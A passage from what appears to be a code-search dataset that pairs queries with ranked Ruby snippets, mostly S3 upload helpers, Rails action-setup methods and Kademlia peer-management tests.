"text": "def create_multipart_upload\n self.s3_object||= Upload.get_s3_object(self.object_key)\n self.multipart_upload = s3_object.multipart_upload(\n content_type: params[:type],\n server_side_encryption: S3BrowserMultipart::Engine.\n config.s3_config[:server_side_encryption]\n )\n self.upload_id = self.multipart_upload.upload_id\n Rails.logger.warn \"Created multipart_upload_id: #{self.upload_id} object_key: #{self.object_key}\"\n end",
"title": ""
},
{
"docid": "572e2e8055df2b075770020ad4ab37b9",
"score": "0.5266765",
"text": "def ensure_s3_bucket()\n resp = @s3.list_buckets()\n add_new_bucket = true\n resp.to_h[:buckets].each { |bucket|\n add_new_bucket = false if (bucket[:name] =~ /^#{Regexp.escape(@receipt_rule.s3_bucket)}$/)\n }\n @s3.create_bucket({\n acl: \"private\",\n bucket: @receipt_rule.s3_bucket,\n create_bucket_configuration: {\n location_constraint: @receipt_rule.region\n }\n }) if add_new_bucket\n end",
"title": ""
},
{
"docid": "dbcfe6d2696f12248552d51a0e94aa09",
"score": "0.5263425",
"text": "def connect_to_s3\n unless AWS::S3::Base.connected?\n AWS::S3::Base.establish_connection!(:access_key_id => AWSCredentials.access_key, :secret_access_key => AWSCredentials.secret_access_key)\n end\n end",
"title": ""
},
{
"docid": "1549a088d09efb5aacd13167580e1e37",
"score": "0.5256716",
"text": "def initialize(*_)\n super\n SfnAws.load!\n @translators = Smash.new\n end",
"title": ""
},
{
"docid": "f0c8874a65db919106b6a5617324a16b",
"score": "0.5255322",
"text": "def set_upload_attributes_with_block\n direct_upload_url_data = self.get_direct_upload_url\n\n return if direct_upload_url_data.nil?\n\n tries ||= 5\n\n s3 = AWS::S3.new\n direct_upload_head = s3.buckets[S3DirectUpload.config.bucket].objects[direct_upload_url_data[:path]].head\n\n type = self.get_uploaded_type\n\n yield(type, direct_upload_url_data, direct_upload_head)\n\n type\n rescue AWS::S3::Errors::NoSuchKey => e\n tries -= 1\n if tries > 0\n sleep(3)\n retry\n else\n false\n end\n end",
"title": ""
},
{
"docid": "c3034ee8f90f0e3d25a47ce0850b4c18",
"score": "0.52505165",
"text": "def create\n @s3_image = S3Image.new(params[:s3_image])\n\n respond_to do |format|\n if @s3_image.save\n format.html { redirect_to @s3_image, notice: 'S3 image was successfully created.' }\n format.json { render json: @s3_image, status: :created, location: @s3_image }\n else\n format.html { render action: \"new\" }\n format.json { render json: @s3_image.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d51b27d4de8aa9a2ff9ac7a9d5ea900a",
"score": "0.52349126",
"text": "def s3_client(**opt)\n opt.slice!(*client_params) if opt.present?\n Aws::S3::Client.new(S3_OPTIONS.merge(opt))\n end",
"title": ""
},
{
"docid": "e820d99b8a6c8638f290198146c80832",
"score": "0.52164316",
"text": "def s3_directory\n @s3directory ||= s3_connection.directories.get(ENV['IMAGO_S3_BUCKET'])\nend",
"title": ""
},
{
"docid": "8a6509d2c7585157dbb27022d0718e5f",
"score": "0.52054805",
"text": "def initialize(s3_bucket, file_path)\n require 'yaml'\n @s3_bucket = s3_bucket\n @file_path = file_path\n end",
"title": ""
},
{
"docid": "cddfbd471f014ee46c178f5532fa2dd7",
"score": "0.52052784",
"text": "def set_upload_attributes\n Rails.logger.info \"I am rad\"\n puts \"111111111 set_upload_attributes 11111111\"\n tries ||= 3\n #direct_upload_url_data = DIRECT_UPLOAD_URL_FORMAT.match(direct_upload_url)\n s3 = AWS::S3.new\n direct_upload_head = s3.buckets[Rails.configuration.aws[:bucket]].objects[direct_upload_url].head\n \n self.file_name = direct_upload_data[:filename]\n self.file_type = direct_upload_head.content_type\n self.file_size = direct_upload_head.content_length\n self.upload_updated_at = direct_upload_head.last_modified\n rescue AWS::S3::Errors::NoSuchKey => e\n tries -= 1\n if tries > 0\n sleep(3)\n retry\n else\n false\n end\n end",
"title": ""
}
] |
63e2297a962a92bed426c9bc7d2c7a8d | New method : Setup actions [:action,] | [
{
"docid": "57dbfad5e2a0e32466bd9eb0836da323",
"score": "0.0",
"text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"title": ""
}
] | [
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.8016081",
"text": "def actions; end",
"title": ""
},
{
"docid": "6c8e66d9523b9fed19975542132c6ee4",
"score": "0.77568465",
"text": "def add_actions; end",
"title": ""
},
{
"docid": "0e7bdc54b0742aba847fd259af1e9f9e",
"score": "0.7703228",
"text": "def set_actions\n actions :all\n end",
"title": ""
},
{
"docid": "b8b36fc1cfde36f9053fe0ab68d70e5b",
"score": "0.76211655",
"text": "def run_actions; end",
"title": ""
},
{
"docid": "e8bab6056c16109fb5de9b7735df4f76",
"score": "0.75033635",
"text": "def initialize\n @actions = []\n end",
"title": ""
},
{
"docid": "3db61e749c16d53a52f73ba0492108e9",
"score": "0.7448753",
"text": "def action_hook; end",
"title": ""
},
{
"docid": "3e521dbc644eda8f6b2574409e10a4f8",
"score": "0.7439485",
"text": "def define_action_hook; end",
"title": ""
},
{
"docid": "0cff1d3b3041b56ce3773d6a8d6113f2",
"score": "0.7403986",
"text": "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"title": ""
},
{
"docid": "a997ba805d12c5e7f7c4c286441fee18",
"score": "0.73968714",
"text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"title": ""
},
{
"docid": "dfbcf4e73466003f1d1275cdf58a926a",
"score": "0.7332583",
"text": "def action\n end",
"title": ""
},
{
"docid": "63e39c04cc2f1ac44f979040a22b6267",
"score": "0.732564",
"text": "def initialize( name , action )\n super(name)\n\n @action = action\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.72960556",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.7275051",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.7275051",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.7275051",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.7275051",
"text": "def action; end",
"title": ""
},
{
"docid": "e6d7c691bed78fb0eeb9647503f4a244",
"score": "0.7275051",
"text": "def action; end",
"title": ""
},
{
"docid": "e7086879b9ad31da7a048bec0e838034",
"score": "0.72419876",
"text": "def set_actions\n @actions = []\n end",
"title": ""
},
{
"docid": "662bd6dd2c3628003473ab54e8c49a37",
"score": "0.7239802",
"text": "def for_actions(*actions)\n self.working_actions = actions\n self\n end",
"title": ""
},
{
"docid": "975ecc8d218b62d480bbe0f6e46e72bb",
"score": "0.72075033",
"text": "def action\n end",
"title": ""
},
{
"docid": "555b864012300f0f1632b8e2ca0c9c96",
"score": "0.71748763",
"text": "def set_action(action)\n @action = action\n end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.7119735",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.7119735",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.7119735",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "bb9bef6aedaae38b9d69c908eebe692c",
"score": "0.7115514",
"text": "def setAction(action)\n @action = action\n end",
"title": ""
},
{
"docid": "ce9294d8be15020566989bd35658fa6e",
"score": "0.70463073",
"text": "def actions=(action)\n @actions << action \n end",
"title": ""
},
{
"docid": "6ca1765a70909ce9fd709e965299bac5",
"score": "0.70023644",
"text": "def action(&block)\n @actions << block\n end",
"title": ""
},
{
"docid": "cb05fafefcbd197529c9cfb849e654e8",
"score": "0.69694805",
"text": "def action(klass)\n def_delegator :default, klass.action_name\n define_method klass.action_name do |*args, &block|\n new_action = klass.new self, action\n directives.values.each {|it| it.setup! new_action }\n new_action.setup! *args, &block\n new_action.new_flow\n end\n end",
"title": ""
},
{
"docid": "94bc18ba430eb79ea4ca2e1aff420758",
"score": "0.69668335",
"text": "def action\n super\n end",
"title": ""
},
{
"docid": "377ff5bdd0c0f6c777235cb5a151f3ff",
"score": "0.6948714",
"text": "def initialize(*args)\n super\n @action = :create\nend",
"title": ""
},
{
"docid": "377ff5bdd0c0f6c777235cb5a151f3ff",
"score": "0.6948714",
"text": "def initialize(*args)\n super\n @action = :create\nend",
"title": ""
},
{
"docid": "377ff5bdd0c0f6c777235cb5a151f3ff",
"score": "0.6948714",
"text": "def initialize(*args)\n super\n @action = :create\nend",
"title": ""
},
{
"docid": "377ff5bdd0c0f6c777235cb5a151f3ff",
"score": "0.6948714",
"text": "def initialize(*args)\n super\n @action = :create\nend",
"title": ""
},
{
"docid": "377ff5bdd0c0f6c777235cb5a151f3ff",
"score": "0.6948714",
"text": "def initialize(*args)\n super\n @action = :create\nend",
"title": ""
},
{
"docid": "377ff5bdd0c0f6c777235cb5a151f3ff",
"score": "0.6948714",
"text": "def initialize(*args)\n super\n @action = :create\nend",
"title": ""
},
{
"docid": "377ff5bdd0c0f6c777235cb5a151f3ff",
"score": "0.6948714",
"text": "def initialize(*args)\n super\n @action = :create\nend",
"title": ""
},
{
"docid": "377ff5bdd0c0f6c777235cb5a151f3ff",
"score": "0.6948714",
"text": "def initialize(*args)\n super\n @action = :create\nend",
"title": ""
},
{
"docid": "5d5df079df01171938a38c6233dd87c2",
"score": "0.69395393",
"text": "def initialize(*args)\n super\n @action = :add\nend",
"title": ""
},
{
"docid": "37cd029d843c7ef2fcde49f1712dd75e",
"score": "0.69197816",
"text": "def action args = {}\n\t\tend",
"title": ""
},
{
"docid": "994d9fe4eb9e2fc503d45c919547a327",
"score": "0.68968785",
"text": "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"title": ""
},
{
"docid": "1a76aed94bb81b77f3aac4bb86ebdf0f",
"score": "0.6888534",
"text": "def _actions(action = nil)\n @_actions ||= Mash.new{|h,k| h[k] = ActionManager.new}\n action.nil? ? @_actions : @_actions[action]\n end",
"title": ""
},
{
"docid": "303e872d4d4fca1d251714374f78a257",
"score": "0.68811214",
"text": "def initialize(params_hash)\n super\n @type_name = 'action'\n end",
"title": ""
},
{
"docid": "fbd0db2e787e754fdc383687a476d7ec",
"score": "0.6871116",
"text": "def action_target()\n \n end",
"title": ""
},
{
"docid": "05fcb9263ab9c4cd1bbd1d419de4e6fa",
"score": "0.68656224",
"text": "def initialize(*args)\n\tsuper\n\t@action = :add\nend",
"title": ""
},
{
"docid": "643ab2fec989649920e36328a1c1c89a",
"score": "0.6840555",
"text": "def actions=(value)\n @actions = value\n end",
"title": ""
},
{
"docid": "d02030204e482cbe2a63268b94400e71",
"score": "0.681771",
"text": "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"title": ""
},
{
"docid": "8a1cb03fea2316aa0b2d5a8a1c1057ae",
"score": "0.6815089",
"text": "def actions\n []\n end",
"title": ""
},
{
"docid": "8ef5336a0e50ddc07cfeecea87b66ac8",
"score": "0.6806545",
"text": "def setup_actions(actions)\n keep_actions = actions\n\n if actions.include?(:all)\n keep_actions = ACTIONS\n end\n\n options = actions.extract_options!\n except_actions = options[:except] || []\n keep_actions -= except_actions\n\n (ACTIONS - keep_actions).uniq.each do |action|\n undef_method action.to_sym, \"#{action.to_sym}!\"\n end\n end",
"title": ""
},
{
"docid": "17ffe00a5b6f44f2f2ce5623ac3a28cd",
"score": "0.6804639",
"text": "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"title": ""
},
{
"docid": "574c90e9177a51a9e4f819ea9b93b6fb",
"score": "0.6801088",
"text": "def create\n @actions = [] unless defined?(@actions)\n @actions << :create\n end",
"title": ""
},
{
"docid": "792358523fca5dee9119a6b02d21bfaa",
"score": "0.6796298",
"text": "def set_action\n @action = Action.find(params[:id])\n end",
"title": ""
},
{
"docid": "c639918225cda1eb6749706d47d1f5f1",
"score": "0.6786878",
"text": "def method_for_action(action_name); end",
"title": ""
},
{
"docid": "21d75f9f5765eb3eb36fcd6dc6dc2ec3",
"score": "0.6781978",
"text": "def default_action; end",
"title": ""
},
{
"docid": "5d2c558677837e9f3054ae962c05a826",
"score": "0.67667764",
"text": "def initialize(*args)\n super \n @action = :add_server\nend",
"title": ""
},
{
"docid": "f4cbbecc0e41cf2454fcde18f94cd976",
"score": "0.67585206",
"text": "def actions\n @actions ||= self.class.registered_actions.inject({}){ |res, name| res.merge(name.to_sym => normalize_action_config(send(ACTION_METHOD_NAME % name))) }\n end",
"title": ""
},
{
"docid": "5bdfb98750cf087bcfc57681eb2da398",
"score": "0.6738481",
"text": "def action_enable\n end",
"title": ""
},
{
"docid": "7647b99591d6d687d05b46dc027fbf23",
"score": "0.67365795",
"text": "def initialize(*args)\n super\n @action = :set\nend",
"title": ""
},
{
"docid": "653832a7ec70fdd1218a6a3050e45ff0",
"score": "0.67009723",
"text": "def initialize(name, run_context=nil)\n super\n @action = :create\nend",
"title": ""
},
{
"docid": "66d6bbe54b059298ebaf6e8e2bcc14d2",
"score": "0.6688101",
"text": "def action(&block)\n @action = block\n end",
"title": ""
},
{
"docid": "27917a16b8aed0ab5f26ce4f4e527523",
"score": "0.6687492",
"text": "def actions\n client.actions\n end",
"title": ""
},
{
"docid": "7b756f2428724db09329deb41bde34bc",
"score": "0.6672792",
"text": "def actions(options = {}, &block)\n options = { :defaults => true }.merge(options)\n @default_actions = options[:defaults]\n @other_actions = block\n end",
"title": ""
},
{
"docid": "1964d48e8493eb37800b3353d25c0e57",
"score": "0.6669986",
"text": "def define_action_helpers; end",
"title": ""
},
{
"docid": "3621095d88908fa9f60414cce39c69d4",
"score": "0.666498",
"text": "def set_action(action)\n return unless action\n\n @action = action\n @ext.set_action(action)\n end",
"title": ""
},
{
"docid": "d0f157995ceb503aea937a234ff6c452",
"score": "0.66634816",
"text": "def set_resource_actions\n self.actions[:index] = Action.new(self.entity, :index, :collection, :resource => true)\n self.actions[:new] = Action.new(self.entity, :new, :collection, :resource => true)\n self.actions[:edit] = Action.new(self.entity, :edit, :member, :resource => true)\n self.actions[:show] = Action.new(self.entity, :show, :member, :resource => true)\n self.actions[:create] = Action.new(self.entity, :create, :collection, :method => :post, :resource => true)\n self.actions[:update] = Action.new(self.entity, :update, :member, :method => :put, :resource => true)\n self.actions[:delete] = Action.new(self.entity, :delete, :member, :method => :delete, :resource => true)\n end",
"title": ""
},
{
"docid": "2a533f2d8581fe1b8682e1b2435820e4",
"score": "0.66625756",
"text": "def actions\n @actions ||= []\n end",
"title": ""
},
{
"docid": "e1862c88d948994964d8a81ac875c3da",
"score": "0.6660813",
"text": "def initialize(controller)\n @controller = controller\n @actions = []\n end",
"title": ""
},
{
"docid": "3efeaa11bab4f59fd01ddc20498793f5",
"score": "0.6652422",
"text": "def initialize(*args)\r\n super\r\n @action = :assign\r\nend",
"title": ""
},
{
"docid": "2f43e1f905584c488078e648402d321d",
"score": "0.6651526",
"text": "def local_action(command, id, action)\n super(command,id,ACTION[action])\n end",
"title": ""
},
{
"docid": "0c72149a54d648ac4579620ff5565b83",
"score": "0.66509336",
"text": "def handle_action(username, actiontype)\n \n end",
"title": ""
},
{
"docid": "0f7524fe20ab3fdd760b609cf0a3ee0d",
"score": "0.66381437",
"text": "def actions\n @actions\n end",
"title": ""
},
{
"docid": "63d98d18c5bfb2d6d25767340d979aa1",
"score": "0.6625831",
"text": "def action_locator_args()\n \n end",
"title": ""
},
{
"docid": "cfb2618cab510518ca911d9419fa360a",
"score": "0.66136354",
"text": "def run_action\n raise \"Action for resource #{self.class} is nil!\" if @action.nil?\n\t\t\tif (self.respond_to? @action)\n\t\t\t\tself.send(@action)\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "be4005c9982cc2aecbf1c65967c67b17",
"score": "0.6608576",
"text": "def setup_action(id)\n # set action id\n @aid = id\n # set time to zero\n @time = 0\n # get commands\n @commands = Combos.commands(self)\n # reset movement commands and input windows\n @moves = []\n # set animation data\n @animation, @animation_frames, @sprite, @extension = Combos.anim_data(self)\n # request combo sprite from player if needed\n @ch.new_combo_sprite = true if @animation != 0 || @sprite != ''\n end",
"title": ""
},
{
"docid": "e3f8a30299dfc508e078e6bb1e144fd2",
"score": "0.6607768",
"text": "def act(act, file, *args)\n @actions << Action.for(act, file, *args)\n end",
"title": ""
},
{
"docid": "2ddd5540eb59dcba851d27472d4241d7",
"score": "0.66074425",
"text": "def action_step(*action_name, &block)\n\n # Instantiate a ViewStep object if symbol or string received\n action_name.each do |name|\n \n step = WebFlow::ActionStep.new(name.to_s)\n \n # Register this step in the flow repository\n register name.to_s, step\n \n # Execute the config block\n step.instance_eval(&block) if block_given?\n \n end\n\n end",
"title": ""
},
{
"docid": "b2c8a8a06aa615f70cc54c6623ee9111",
"score": "0.6586933",
"text": "def invoke_action(name)\n end",
"title": ""
},
{
"docid": "b2c8a8a06aa615f70cc54c6623ee9111",
"score": "0.6586933",
"text": "def invoke_action(name)\n end",
"title": ""
},
{
"docid": "faddd70d9fef5c9cd1f0d4e673e408b9",
"score": "0.6585999",
"text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"title": ""
},
{
"docid": "b2c8a8a06aa615f70cc54c6623ee9111",
"score": "0.6585246",
"text": "def invoke_action(name)\n end",
"title": ""
},
{
"docid": "5ecf4d9dfa03367a2c372bbdffdf6c46",
"score": "0.6582248",
"text": "def actions\n @actions ||= []\n end",
"title": ""
},
{
"docid": "5f1f8b41748d64e77204ff0835481619",
"score": "0.65760934",
"text": "def act\n end",
"title": ""
},
{
"docid": "9e7bd879f79a2cafb34b4781a482584e",
"score": "0.6571208",
"text": "def actions\n self.class.actions\n end",
"title": ""
},
{
"docid": "b61b79e6ac4087821f54e3d6cfd9a966",
"score": "0.6547721",
"text": "def actions() ; info[:actions] ; end",
"title": ""
},
{
"docid": "b61b79e6ac4087821f54e3d6cfd9a966",
"score": "0.6547721",
"text": "def actions() ; info[:actions] ; end",
"title": ""
},
{
"docid": "0ebf28db91c66e2da1fce42b0441c653",
"score": "0.6525815",
"text": "def set_my_action\n @my_action = MyAction.find(params[:id])\n end",
"title": ""
},
{
"docid": "4f9a284723e2531f7d19898d6a6aa20c",
"score": "0.6522591",
"text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"title": ""
},
{
"docid": "677857c577094e431ef7472c19edf663",
"score": "0.6514967",
"text": "def append_action actions\n params = {}\n instance_variables.each do | each |\n params[ each.to_s.sub( '@', '' ).to_sym ] = instance_variable_get( each )\n end\n method = \"append_#{ self.class.name.demodulize.underscore }\"\n __send__ method, actions, params\n end",
"title": ""
},
{
"docid": "d70f3d4005bf17657d53174228c6b35f",
"score": "0.6513543",
"text": "def action\n yield\n end",
"title": ""
},
{
"docid": "d70f3d4005bf17657d53174228c6b35f",
"score": "0.6513543",
"text": "def action\n yield\n end",
"title": ""
},
{
"docid": "d70f3d4005bf17657d53174228c6b35f",
"score": "0.6513543",
"text": "def action\n yield\n end",
"title": ""
},
{
"docid": "d70f3d4005bf17657d53174228c6b35f",
"score": "0.6513543",
"text": "def action\n yield\n end",
"title": ""
},
{
"docid": "d70f3d4005bf17657d53174228c6b35f",
"score": "0.6513543",
"text": "def action\n yield\n end",
"title": ""
},
{
"docid": "d70f3d4005bf17657d53174228c6b35f",
"score": "0.6513543",
"text": "def action\n yield\n end",
"title": ""
},
{
"docid": "35b302dd857a031b95bc0072e3daa707",
"score": "0.6510504",
"text": "def config(action, *args); end",
"title": ""
},
{
"docid": "e0cdcee0be0626fc8b809b35de233cb1",
"score": "0.65095425",
"text": "def build_actions(actions, guardian, args)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "18747e0387b3fdd5af23925b166c807d",
"score": "0.6488921",
"text": "def _dispatch\n case @options[:action]\n when :init\n _init\n when :add\n fail 'No url given (-u option)' if @options[:url].empty?\n fail 'No name given (-n option)' if @options[:name].empty?\n _add\n when :delete\n fail 'No id given (-i option)' if @options[:id].nil?\n _delete\n when :list\n _list\n else\n fail \"Unknown action #{@options[:action]}\"\n end\n end",
"title": ""
},
{
"docid": "09bed2278a9d232ff044645225a0a08e",
"score": "0.64803135",
"text": "def action\n action_name.to_sym\n end",
"title": ""
},
{
"docid": "bd89022716e537628dd314fd23858181",
"score": "0.6479417",
"text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"title": ""
},
{
"docid": "6159cb98297ac23764408358cd49fac3",
"score": "0.6477843",
"text": "def initialize(action:, action_params:)\n @action = action\n @action_params = action_params\n end",
"title": ""
},
{
"docid": "7abea2bb2d9ec617b629f9644abe898a",
"score": "0.64752614",
"text": "def add_actions\n # Create an class\n template 'actions.rb', 'app/ruby_rabbitmq_janus/actions.rb'\n\n # Add to application.rb\n application { APPLICATION }\n\n # Add initializer\n generate 'ruby_rabbitmq_janus:initializer'\n\n # Copy basic request\n generate 'ruby_rabbitmq_janus:default_request'\n end",
"title": ""
},
{
"docid": "b47a8b794b0789f0622fe647bd0d3cae",
"score": "0.6458155",
"text": "def instantiate_controller_and_action_names\n\t @current_action = action_name\n\t @current_controller = controller_name\n\tend",
"title": ""
}
] |
fa3bcc4380b652aa55d7fb64f0f761c4 | TODO find high scoring peers, use bootnodes as fallback | [
{
"docid": "34d356511ebf5f149b897832dcf8e733",
"score": "0.6219239",
"text": "def find_bootnodes(count)\n nodes = @bootnodes.sample(count)\n nodes + find_attempt_peers(count - nodes.size)\n end",
"title": ""
}
] | [
{
"docid": "d1e708a339031e001c412c470520e057",
"score": "0.6457305",
"text": "def boot(node)\n end",
"title": ""
},
{
"docid": "606df04d80c10b32f0ca957d9803bf28",
"score": "0.62406886",
"text": "def update_peers; end",
"title": ""
},
{
"docid": "527a18d62f9a0d75b72fe93ab7d7f28f",
"score": "0.6211893",
"text": "def test_simple_bootstrap\n nodes = []\n nodes[0] = Node.new(0) \n \n 4.times do |i| \n nodes << Node.new(i+1, nodes[i].addr) \n end\n\n @sim.run(50000)\n\n nodes.each { | n | assert_equal(4, n.link_table.size) }\n end",
"title": ""
},
{
"docid": "9c1b144034d2e90fbdb691e5efcea666",
"score": "0.61932945",
"text": "def test_kademlia_node_manager_return_all_peers\n bitlen = 8\n bucket_depth = 5\n node_id = \"11010101\".to_i(2)\n node_hash = node_id.to_s(16)\n peer_hash1 = (node_id ^ 1).to_s(16) # bucket 0\n peer_hash2 = (node_id ^ 4).to_s(16) # bucket 2\n peer_hash3 = (node_id ^ 32).to_s(16) # bucket 5\n # this search should hit kbucket 1 and then search out\n search_hash = \"11111111\".to_i(2).to_s(16)\n wanted = 10\n \n p1 = Peer.new(peer_hash1, '127.0.0.1', 3001, PeerType::SUBNODE)\n p2 = Peer.new(peer_hash2, '127.0.0.1', 3002, PeerType::SUBNODE)\n p3 = Peer.new(peer_hash3, '127.0.0.1', 3003, PeerType::SUBNODE)\n \n node = Peer.new(node_hash, '127.0.0.1', 3000, PeerType::SUBNODE)\n knm = NodeManager.new(node, wanted, bitlen, bucket_depth)\n assert_equal([[],[],[],[],[],[],[],[]], knm.node_store.map{|k| k.buckets})\n assert_equal([nil,nil,nil,nil,nil,nil,nil,nil], knm.node_store.map{|k| k.temp})\n knm.update(p1)\n knm.update(p2)\n knm.update(p3)\n assert_equal([[p1],[],[p2],[],[],[p3],[],[]], knm.node_store.map{|k| k.buckets})\n assert_equal([nil,nil,nil,nil,nil,nil,nil,nil], knm.node_store.map{|k| k.temp})\n assert_equal([p2,p1,p3], knm.closest(search_hash, wanted))\n end",
"title": ""
},
{
"docid": "a42311d4d1810a4cfcfb0f517179e0e7",
"score": "0.6104372",
"text": "def spawn_peers(gen)\n peers = []\n (1..@PEER_COUNT).each do\n peers.append [\"id\" => peer_hash, \"best\" => gen]\n end\n peers\nend",
"title": ""
},
{
"docid": "0d2ce16a6e09c1446b88e93e402dfdcd",
"score": "0.60328394",
"text": "def test_kademlia_node_manager_return_wanted_closest_from_within_one_kbucket\n bitlen = 8\n bucket_depth = 5\n node_hash = \"11010101\".to_i(2).to_s(16)\n # all of these hashes fall into kbucket 1\n peer_hash1 = \"00000011\".to_i(2).to_s(16)\n peer_hash2 = \"00000111\".to_i(2).to_s(16)\n peer_hash3 = \"00001111\".to_i(2).to_s(16)\n peer_hash4 = \"00011111\".to_i(2).to_s(16)\n peer_hash5 = \"00111111\".to_i(2).to_s(16)\n peer_hash6 = \"01111111\".to_i(2).to_s(16)\n # this search should pull from kbucket 1\n search_hash = \"11111111\".to_i(2).to_s(16)\n wanted = 3\n \n p1 = Peer.new(peer_hash1, '127.0.0.1', 3001, PeerType::SUBNODE)\n p2 = Peer.new(peer_hash2, '127.0.0.1', 3002, PeerType::SUBNODE)\n p3 = Peer.new(peer_hash3, '127.0.0.1', 3003, PeerType::SUBNODE)\n p4 = Peer.new(peer_hash4, '127.0.0.1', 3004, PeerType::SUBNODE)\n p5 = Peer.new(peer_hash5, '127.0.0.1', 3005, PeerType::SUBNODE)\n p6 = Peer.new(peer_hash6, '127.0.0.1', 3006, PeerType::SUBNODE)\n \n node = Peer.new(node_hash, '127.0.0.1', 3000, PeerType::SUBNODE)\n knm = NodeManager.new(node, wanted, bitlen, bucket_depth)\n assert_equal([[],[],[],[],[],[],[],[]], knm.node_store.map{|k| k.buckets})\n assert_equal([nil,nil,nil,nil,nil,nil,nil,nil], knm.node_store.map{|k| k.temp})\n knm.update(p1)\n knm.update(p2)\n knm.update(p3)\n knm.update(p4)\n knm.update(p5)\n knm.update(p6) # this node should go into the temp slot\n assert_equal([p1,p2,p3,p4,p5], knm.node_store[1].buckets)\n assert_equal([nil,p6,nil,nil,nil,nil,nil,nil], knm.node_store.map{|k| k.temp})\n knm.lrs_fail(p1)\n assert_equal([p2,p3,p4,p5,p6], knm.node_store[1].buckets)\n assert_equal([nil,nil,nil,nil,nil,nil,nil,nil], knm.node_store.map{|k| k.temp})\n assert_equal([p6,p5,p4], knm.closest(search_hash, wanted))\n end",
"title": ""
},
{
"docid": "53a45caf46d6b4c5d181302adfec514e",
"score": "0.58903164",
"text": "def test_kademlia_node_manager_spread_out_from_offset\n bitlen = 8\n bucket_depth = 5\n node_id = \"11010101\".to_i(2)\n node_hash = node_id.to_s(16)\n peer_hash1 = (node_id ^ 1).to_s(16) # bucket 0\n peer_hash2 = (node_id ^ 2).to_s(16) # bucket 1\n peer_hash3 = (node_id ^ 4).to_s(16) # bucket 2\n peer_hash4 = (node_id ^ 8).to_s(16) # bucket 3\n peer_hash5 = (node_id ^ 16).to_s(16) # bucket 4\n peer_hash6 = (node_id ^ 32).to_s(16) # bucket 5\n # this search should pull from kbucket 1 and then search out\n search_hash = \"11111111\".to_i(2).to_s(16)\n wanted = 3\n \n p1 = Peer.new(peer_hash1, '127.0.0.1', 3001, PeerType::SUBNODE)\n p2 = Peer.new(peer_hash2, '127.0.0.1', 3002, PeerType::SUBNODE)\n p3 = Peer.new(peer_hash3, '127.0.0.1', 3003, PeerType::SUBNODE)\n p4 = Peer.new(peer_hash4, '127.0.0.1', 3004, PeerType::SUBNODE)\n p5 = Peer.new(peer_hash5, '127.0.0.1', 3005, PeerType::SUBNODE)\n p6 = Peer.new(peer_hash6, '127.0.0.1', 3006, PeerType::SUBNODE)\n \n node = Peer.new(node_hash, '127.0.0.1', 3000, PeerType::SUBNODE)\n knm = NodeManager.new(node, wanted, bitlen, bucket_depth)\n assert_equal([[],[],[],[],[],[],[],[]], knm.node_store.map{|k| k.buckets})\n assert_equal([nil,nil,nil,nil,nil,nil,nil,nil], knm.node_store.map{|k| k.temp})\n knm.update(p1)\n knm.update(p2)\n knm.update(p3)\n knm.update(p4)\n knm.update(p5)\n knm.update(p6)\n assert_equal([[p1],[p2],[p3],[p4],[p5],[p6],[],[]], knm.node_store.map{|k| k.buckets})\n assert_equal([nil,nil,nil,nil,nil,nil,nil,nil], knm.node_store.map{|k| k.temp})\n assert_equal([p2,p3,p1], knm.closest(search_hash, wanted))\n end",
"title": ""
},
{
"docid": "ad0a753e3fb76a0f785cad00aea9e8cb",
"score": "0.5879396",
"text": "def boot_call(node)\n\n end",
"title": ""
},
{
"docid": "3853fe1761c0a8d09288f6a803ac8969",
"score": "0.58155286",
